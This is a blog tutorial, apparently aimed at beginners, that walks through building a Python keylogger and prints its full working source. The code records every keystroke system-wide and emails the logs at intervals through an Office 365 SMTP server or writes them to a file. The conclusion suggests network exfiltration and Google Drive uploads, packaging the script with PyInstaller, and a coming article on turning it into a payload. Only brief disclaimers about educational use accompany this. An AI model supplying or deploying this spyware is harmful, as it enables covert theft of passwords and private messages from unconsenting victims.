Scofield Idehen

Posted on Feb 28 • Originally published at blog.learnhub.africa

Build a Python Keylogger

#python #softwaredevelopment #programming #beginners

Ready to delve into the world of Python programming? In this tutorial, we will explore the creation of a keylogger – a surveillance tool designed to monitor and record every keystroke on a computer's keyboard.

It's essential to note that while keyloggers have legitimate uses like monitoring employee productivity or parental control, they can be misused by hackers to capture sensitive information.

Our goal is to equip you with the knowledge to create and analyze keyloggers for educational purposes and to raise awareness about their capabilities and associated risks.

Prerequisites

Before we begin, you'll need to install the **keyboard** module. Open your terminal or command prompt and enter:

Before installing any library, set your project in a venv (virtual environment); this would limit dependency issues.

First, create a folder.

mkdir keylogger

Next, we would cd into the keylogger directory and create a virtual environment python -m venv myenv.

Activate the Virtual environment source myenv/bin/activate, and then we can install dependencies.

$ pip install keyboard

This module allows us to take control of the keyboard, hook global events, register hotkeys, simulate key presses, and more.

Setting Up the Keylogger

Let's initialize the required parameters:

    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText

    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "blackbird001@duck.com"
    EMAIL_PASSWORD = "your_email_password"

Replace **your_email@example.com** and **your_email_password** with your actual email credentials.

Now, we'll create a class to represent the keylogger:

    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

The **interval** parameter represents the reporting frequency, and **report_method** specifies whether to send logs via email or save them to a local file.

Listening to Keystrokes

We'll utilize the **keyboard** module's **on_release()** function to capture keystrokes:

    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

This callback function is invoked whenever a key is released. It transforms special keys and adds them to the global **self.log** variable.

Reporting Keystrokes

Depending on the chosen **report_method**, we can report the keystrokes either via email or save them to a local file:

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    def sendmail(self, email, password, message, verbose=1):
        # SMTP server connection and email sending logic
        # ...

The **report_to_file()** method saves the key logs to a local file, while **sendmail()** sends the logs via email.

Scheduling Reports

To ensure periodic reporting, we'll use a timer:

    def report(self):
        if self.log:
            self.end_dt = datetime.now()
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()

This method is called at regular intervals (**self.interval**) to report the accumulated keystrokes.

Starting the Keylogger

Finally, we initiate the keylogger with the following code:


    def start(self):
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        self.report()
        print(f"{datetime.now()} - Started keylogger")
        keyboard.wait()

This **start()** method records the start time, sets up the keylogger, and waits for the user to press CTRL+C to exit the program.

Putting It All Together

Now, let's instantiate the **Keylogger** class and start the keylogger:


    if __name__ == "__main__":
        keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
        keylogger.start()

Uncomment the line with **report_method="email"** if you prefer to receive reports via email.

To get it started, run sudo python nameoffile.py. If you run this without side you will get an error.

Once approved, I can control and see what the user is doing. Cool, right?

Once I start typing, my keylogger saves my keystrokes in a file.

Find the entire code here.

    import keyboard
    import smtplib
    from threading import Timer
    from datetime import datetime
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText

    # Installation of required module
    # $ pip install keyboard

    # Parameters
    SEND_REPORT_EVERY = 60  # in seconds, reporting interval
    EMAIL_ADDRESS = "email@provider.tld"
    EMAIL_PASSWORD = "password_here"

    class Keylogger:
        def __init__(self, interval, report_method="email"):
            self.interval = interval
            self.report_method = report_method
            self.log = ""
            self.start_dt = datetime.now()
            self.end_dt = datetime.now()

        def callback(self, event):
            """
            This callback is invoked whenever a keyboard event is occurred
            (i.e., when a key is released in this example)
            """
            name = event.name
            if len(name) > 1:
                # not a character, special key (e.g ctrl, alt, etc.)
                # uppercase with []
                if name == "space":
                    # " " instead of "space"
                    name = " "
                elif name == "enter":
                    # add a new line whenever an ENTER is pressed
                    name = "[ENTER]\n"
                elif name == "decimal":
                    name = "."
                else:
                    # replace spaces with underscores
                    name = name.replace(" ", "_")
                    name = f"[{name.upper()}]"
            # finally, add the key name to our global `self.log` variable
            self.log += name

        def update_filename(self):
            # construct the filename to be identified by start & end datetimes
            start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
            end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
            self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

        def report_to_file(self):
            """This method creates a log file in the current directory that contains
            the current keylogs in the `self.log` variable"""
            # open the file in write mode (create it)
            with open(f"{self.filename}.txt", "w") as f:
                # write the keylogs to the file
                print(self.log, file=f)
            print(f"[+] Saved {self.filename}.txt")

        def prepare_mail(self, message):
            """Utility function to construct a MIMEMultipart from a text
            It creates an HTML version as well as a text version
            to be sent as an email"""
            msg = MIMEMultipart("alternative")
            msg["From"] = EMAIL_ADDRESS
            msg["To"] = EMAIL_ADDRESS
            msg["Subject"] = "Keylogger logs"
            # simple paragraph, feel free to edit
            html = f"<p>{message}</p>"
            text_part = MIMEText(message, "plain")
            html_part = MIMEText(html, "html")
            msg.attach(text_part)
            msg.attach(html_part)
            # after making the mail, convert back as a string message
            return msg.as_string()

        def sendmail(self, email, password, message, verbose=1):
            # manages a connection to an SMTP server
            # in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
            server = smtplib.SMTP(host="smtp.office365.com", port=587)
            # connect to the SMTP server as TLS mode (for security)
            server.starttls()
            # login to the email account
            server.login(email, password)
            # send the actual message after preparation
            server.sendmail(email, email, self.prepare_mail(message))
            # terminates the session
            server.quit()
            if verbose:
                print(f"{datetime.now()} - Sent an email to {email} containing:  {message}")

        def report(self):
            """
            This function gets called every `self.interval`
            It basically sends keylogs and resets `self.log` variable
            """
            if self.log:
                # if there is something in log, report it
                self.end_dt = datetime.now()
                # update `self.filename`
                self.update_filename()
                if self.report_method == "email":
                    self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
                elif self.report_method == "file":
                    self.report_to_file()
                # if you don't want to print in the console, comment the below line
                print(f"[{self.filename}] - {self.log}")
                self.start_dt = datetime.now()
            self.log = ""
            timer = Timer(interval=self.interval, function=self.report)
            # set the thread as daemon (dies when the main thread dies)
            timer.daemon = True
            # start the timer
            timer.start()

        def start(self):
            # record the start datetime
            self.start_dt = datetime.now()
            # start the keylogger
            keyboard.on_release(callback=self.callback)
            # start reporting the keylogs
            self.report()
            # make a simple message
            print(f"{datetime.now()} - Started keylogger")
            # block the current thread, wait until CTRL+C is pressed
            keyboard.wait()

    if __name__ == "__main__":
        # if you want a keylogger to send to your email
        # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
          keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
          keylogger.start()

Conclusion

Congratulations! You've just created a basic keylogger in Python. Remember that ethical considerations are crucial, and using keyloggers on systems without proper authorization is strictly prohibited.

Extend your knowledge by exploring additional functionalities, such as sending logs across a network or using APIs like Google Drive to upload logs.

If you plan to share your keylogger, consider converting the script into an executable using tools like PyInstaller.

Use this knowledge responsibly, as this is purely for educational purposes. In our next article, I will show you how to load it as a payloader in an executable program.

If you like my work and want to help me continue dropping content like this, buy me a cup of coffee.

If you find this post exciting, find more exciting posts on Learnhub Blog; we write everything tech from Cloud computing to Frontend Dev, Cybersecurity, AI, and Blockchain.